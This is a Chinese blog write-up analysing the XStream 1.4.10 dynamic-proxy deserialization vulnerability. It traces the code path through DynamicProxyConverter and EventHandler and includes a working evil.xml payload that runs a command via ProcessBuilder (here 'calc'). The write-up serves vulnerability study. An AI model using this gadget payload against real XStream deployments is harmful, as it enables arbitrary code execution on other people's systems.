【Web】浅聊XStream反序列化本源之恶意动态代理注入

2024-03-14 02:04

本文主要是介绍【Web】浅聊XStream反序列化本源之恶意动态代理注入,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

目录

简介

原理

复现

具体分析之前

我们反序列化了个什么?

XStream反序列化的朴素通识

具体分析

第一步:unmarshal解组

第二步:readClassType获取动态代理类的Class对象

第三步:调用convertAnother对动态代理类进行实例化

第四步:调用动态代理类方法触发invoke


前文:【Java】萌新的XStream反序列化常用api学习笔记-CSDN博客

简介

XStream是一个简单的基于Java库,Java对象序列化到XML,反之亦然

原理

XStream实现了一套序列化和反序列化机制,核心是通过Converter转换器来将XML和对象之间进行相互的转换,XStream反序列化漏洞的存在是因为XStream支持一个名为DynamicProxyConverter的转换器。

该转换器可以将XML中dynamic-proxy标签内容转换成动态代理类对象,而当程序调用了dynamic-proxy标签内的interface标签指向的接口类声明的方法时,就会通过动态代理机制代理访问dynamic-proxy标签内handler标签指定的类方法。

利用这个机制,攻击者可以构造恶意的XML内容,即dynamic-proxy标签内的handler标签指向如EventHandler类这种可实现任意函数反射调用的恶意类、interface标签指向目标程序必然会调用的接口类方法;最后当攻击者从外部输入该恶意XML内容后即可触发反序列化漏洞、达到任意代码执行的目的。

复现

导入pom依赖

 <dependencies><dependency><groupId>com.thoughtworks.xstream</groupId><artifactId>xstream</artifactId><version>1.4.10</version></dependency></dependencies>

exp

package com.XStream;import com.thoughtworks.xstream.XStream;
import java.io.FileInputStream;
import java.io.FileNotFoundException;public class Interface {public static void main(String[] args) throws FileNotFoundException {FileInputStream fis = new FileInputStream("evil.xml");XStream xStream = new XStream();Runnable r = (Runnable) xStream.fromXML(fis);r.run();}
}

evil.xml

<dynamic-proxy><interface>java.lang.Runnable</interface><handler class='java.beans.EventHandler'><target class='java.lang.ProcessBuilder'><command><string>calc</string></command></target><action>start</action></handler>
</dynamic-proxy>

具体分析之前

我们反序列化了个什么?

okok,wait wait wait!我们先不聊XStream反序列化的流程,不妨从结果入手,先了解我们最后反序列化得到了什么?

关注回evil.xml

<dynamic-proxy><interface>java.lang.Runnable</interface><handler class='java.beans.EventHandler'><target class='java.lang.ProcessBuilder'><command><string>calc</string></command></target><action>start</action></handler>
</dynamic-proxy>

做一个简单解读:

这段 XML 配置信息表示了一个动态代理对象,该代理对象实现了 Runnable 接口,通过 EventHandler 处理程序代理 ProcessBuilder 类的实例,并在调用代理对象的方法时执行 ProcessBuilderstart 方法来启动计算器程序(calc)。这种配置可以用于动态地创建代理对象并执行特定的操作。

总而言之,不难看出这段xml经过反序列化得到的是一个动态代理类,其handler为EventHandler,handler的target为ProcessBuilder,action为start。

【Java】小白必须要懂的关于反射的极简基础知识-CSDN博客

这篇文章的最后有讲到,ProcessBuilder.start会进行命令执行操作,不难猜测,EventHandler可实现任意函数反射调用(调用target对象的action方法),我们的期望就是通过动态代理一个接口交由EventHandler处理最后进行命令执行。

而动态代理类所执行的所有方法都会交由invoke来处理,所以我们只要找到靶机上存在方法调用的接口,就可以实现“动态代理注入”,也正是因此,exp里需要手动调用反序列化对象的interface里面声明的方法。(但必须要知道目标会调用哪个接口其实也是一种缺陷,我们在下一篇文章会予以解决)

XStream反序列化的朴素通识

①XStream反序列化简化来说就三步
MarshallingStrategy.unmarshal解组->调用HierarchicalStreams.readClassType获取待反序列化类的Class对象->调用convertAnother对该类进行实例化

②XStream为Java常见的类型提供了Converter转换器。转换器注册中心是XStream组成的核心部分。

转换器的职责是提供一种策略,用于将对象图中找到的特定类型的对象转换为XML或将XML转换为对象。

简单地说,就是输入XML后它能识别其中的标签字段并转换为相应的对象,反之亦然。

转换器需要实现3个方法:

  • canConvert方法:告诉XStream对象,它能够转换的对象;
  • marshal方法:能够将对象转换为XML时候的具体操作;
  • unmarshal方法:能够将XML转换为对象时的具体操作;

我们这里利用的DynamicProxyConverter就是转换器的一种

具体分析

第一步:unmarshal解组

先是从fromXML开始跟进一堆unmarshal来到context.start

 

 

第二步:readClassType获取动态代理类的Class对象

跟进context.start,发现先是调用HierarchicalStreams.readClassType获取type(即待反序列化类的信息)

 跟进readClassType,发现取到classAttribute(类属性)为dynamic-proxy,且mapper为CachingMapper,调用CachingMapper#realClass

跟进CachingMapper#realClass 

这里要注意,elementName始终为dynamic-proxy,而mapper.realClass的逻辑是自子类向上到父类查找的,最终会走到DynamicProxyMapper#realClass(见下面一串图)

 

 

 

 

 

最后来到 DynamicProxyMapper#realClass,跟进

注意到elementName和this.alias是相等的,所以最后type取到的返回值就是DynamicProxy.class

 

可以看到取到type为Class@1256

第三步:调用convertAnother对动态代理类进行实例化

紧接着上面,我们将取到的type(Class@1256)传进convertAnother来进行实例化

 

这里简单跟一跟就行

converterLookup.lookupConverterForType()的逻辑是,迭代this.converter,直到找到能转换出DynamicProxy.class的converter,最终取到关键converter——DynamicProxyConverter,该转换器可以将XML中dynamic-proxy标签内容转换成动态代理类对象

 接着调用DynamicProxyConverter#unmarshal

这里直接放源码吧

public Object unmarshal(HierarchicalStreamReader reader, UnmarshallingContext context) {List interfaces = new ArrayList();InvocationHandler handler = null;Class handlerType;for(handlerType = null; reader.hasMoreChildren(); reader.moveUp()) {reader.moveDown();String elementName = reader.getNodeName();if (elementName.equals("interface")) {interfaces.add(this.mapper.realClass(reader.getValue()));} else if (elementName.equals("handler")) {String attributeName = this.mapper.aliasForSystemAttribute("class");if (attributeName != null) {handlerType = this.mapper.realClass(reader.getAttribute(attributeName));break;}}}if (handlerType == null) {throw new ConversionException("No InvocationHandler specified for dynamic proxy");} else {Class[] interfacesAsArray = new Class[interfaces.size()];interfaces.toArray(interfacesAsArray);Object proxy = null;if (HANDLER != null) {proxy = Proxy.newProxyInstance(this.classLoaderReference.getReference(), interfacesAsArray, DUMMY);}handler = (InvocationHandler)context.convertAnother(proxy, handlerType);reader.moveUp();if (HANDLER != null) {Fields.write(HANDLER, proxy, handler);} else {proxy = Proxy.newProxyInstance(this.classLoaderReference.getReference(), interfacesAsArray, handler);}return proxy;}}

进行一波解读:

  1. 在方法内部,首先创建了一个空的接口列表 interfaces 和一个空的 InvocationHandler 变量 handler

  2. 接着进入一个循环,通过遍历 XML 的结构来读取数据。在循环中,首先判断是否还有子元素,然后移动到子元素,获取节点名称并根据节点名称进行不同的处理。

  3. 如果节点名称是 "interface",则将其对应的接口添加到接口列表中。

  4. 如果节点名称是 "handler",则尝试获取属性名为 "class" 的属性值作为处理程序的类型,并将其赋给 handlerType 变量,然后跳出循环。

  5. 将接口列表转换为数组,并使用 Proxy.newProxyInstance 方法创建代理对象 proxy,同时获取并实例化相应的 InvocationHandler

  6. 进行最终的代理对象的赋值,并返回代理对象。

总之就是对interface属性走了一遍第二步(获取Class对象),对handler属性走了一遍第二步和第三步(获取Class对象&实例化),最后实例化了一个动态代理类(关于handler中其他属性的还原道理是一样的,不再赘述)

得到的动态代理类如下:

第四步:调用动态代理类方法触发invoke

得到实例化类r之后,我们调用其接口(java.lang.Runnable)的已知方法run

如图

 成功触发EventHandler#invoke

跟进invokeInternal

 Method targetMethod = Statement.getMethod(target.getClass(), action, argTypes);

取到targetMethod为handler的action属性,即start

target为ProcessBuilder,最终实现了对ProcessBuilder#start的调用,执行任意命令 

这篇关于【Web】浅聊XStream反序列化本源之恶意动态代理注入的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/806900

相关文章

第10章 中断和动态时钟显示

第10章 中断和动态时钟显示 从本章开始,按照书籍的划分,第10章开始就进入保护模式(Protected Mode)部分了,感觉从这里开始难度突然就增加了。 书中介绍了为什么有中断(Interrupt)的设计,中断的几种方式:外部硬件中断、内部中断和软中断。通过中断做了一个会走的时钟和屏幕上输入字符的程序。 我自己理解中断的一些作用: 为了更好的利用处理器的性能。协同快速和慢速设备一起工作

高效+灵活,万博智云全球发布AWS无代理跨云容灾方案!

摘要 近日,万博智云推出了基于AWS的无代理跨云容灾解决方案,并与拉丁美洲,中东,亚洲的合作伙伴面向全球开展了联合发布。这一方案以AWS应用环境为基础,将HyperBDR平台的高效、灵活和成本效益优势与无代理功能相结合,为全球企业带来实现了更便捷、经济的数据保护。 一、全球联合发布 9月2日,万博智云CEO Michael Wong在线上平台发布AWS无代理跨云容灾解决方案的阐述视频,介绍了

动态规划---打家劫舍

题目: 你是一个专业的小偷,计划偷窃沿街的房屋。每间房内都藏有一定的现金,影响你偷窃的唯一制约因素就是相邻的房屋装有相互连通的防盗系统,如果两间相邻的房屋在同一晚上被小偷闯入,系统会自动报警。 给定一个代表每个房屋存放金额的非负整数数组,计算你 不触动警报装置的情况下 ,一夜之内能够偷窃到的最高金额。 思路: 动态规划五部曲: 1.确定dp数组及含义 dp数组是一维数组,dp[i]代表

在JS中的设计模式的单例模式、策略模式、代理模式、原型模式浅讲

1. 单例模式(Singleton Pattern) 确保一个类只有一个实例,并提供一个全局访问点。 示例代码: class Singleton {constructor() {if (Singleton.instance) {return Singleton.instance;}Singleton.instance = this;this.data = [];}addData(value)

Java Web指的是什么

Java Web指的是使用Java技术进行Web开发的一种方式。Java在Web开发领域有着广泛的应用,主要通过Java EE(Enterprise Edition)平台来实现。  主要特点和技术包括: 1. Servlets和JSP:     Servlets 是Java编写的服务器端程序,用于处理客户端请求和生成动态网页内容。     JSP(JavaServer Pages)

BUUCTF靶场[web][极客大挑战 2019]Http、[HCTF 2018]admin

目录   [web][极客大挑战 2019]Http 考点:Referer协议、UA协议、X-Forwarded-For协议 [web][HCTF 2018]admin 考点:弱密码字典爆破 四种方法:   [web][极客大挑战 2019]Http 考点:Referer协议、UA协议、X-Forwarded-For协议 访问环境 老规矩,我们先查看源代码

代码随想录冲冲冲 Day39 动态规划Part7

198. 打家劫舍 dp数组的意义是在第i位的时候偷的最大钱数是多少 如果nums的size为0 总价值当然就是0 如果nums的size为1 总价值是nums[0] 遍历顺序就是从小到大遍历 之后是递推公式 对于dp[i]的最大价值来说有两种可能 1.偷第i个 那么最大价值就是dp[i-2]+nums[i] 2.不偷第i个 那么价值就是dp[i-1] 之后取这两个的最大值就是d

EasyPlayer.js网页H5 Web js播放器能力合集

最近遇到一个需求,要求做一款播放器,发现能力上跟EasyPlayer.js基本一致,满足要求: 需求 功性能 分类 需求描述 功能 预览 分屏模式 单分屏(单屏/全屏) 多分屏(2*2) 多分屏(3*3) 多分屏(4*4) 播放控制 播放(单个或全部) 暂停(暂停时展示最后一帧画面) 停止(单个或全部) 声音控制(开关/音量调节) 主辅码流切换 辅助功能 屏

9.8javaweb项目总结

1.主界面用户信息显示 登录成功后,将用户信息存储在记录在 localStorage中,然后进入界面之前通过js来渲染主界面 存储用户信息 将用户信息渲染在主界面上,并且头像设置跳转,到个人资料界面 这里数据库中还没有设置相关信息 2.模糊查找 检测输入框是否有变更,有的话调用方法,进行查找 发送检测请求,然后接收的时候设置最多显示四个类似的搜索结果

JavaWeb【day09】--(Mybatis)

1. Mybatis基础操作 学习完mybatis入门后,我们继续学习mybatis基础操作。 1.1 需求 需求说明: 根据资料中提供的《tlias智能学习辅助系统》页面原型及需求,完成员工管理的需求开发。 通过分析以上的页面原型和需求,我们确定了功能列表: 查询 根据主键ID查询 条件查询 新增 更新 删除 根据主键ID删除 根据主键ID批量删除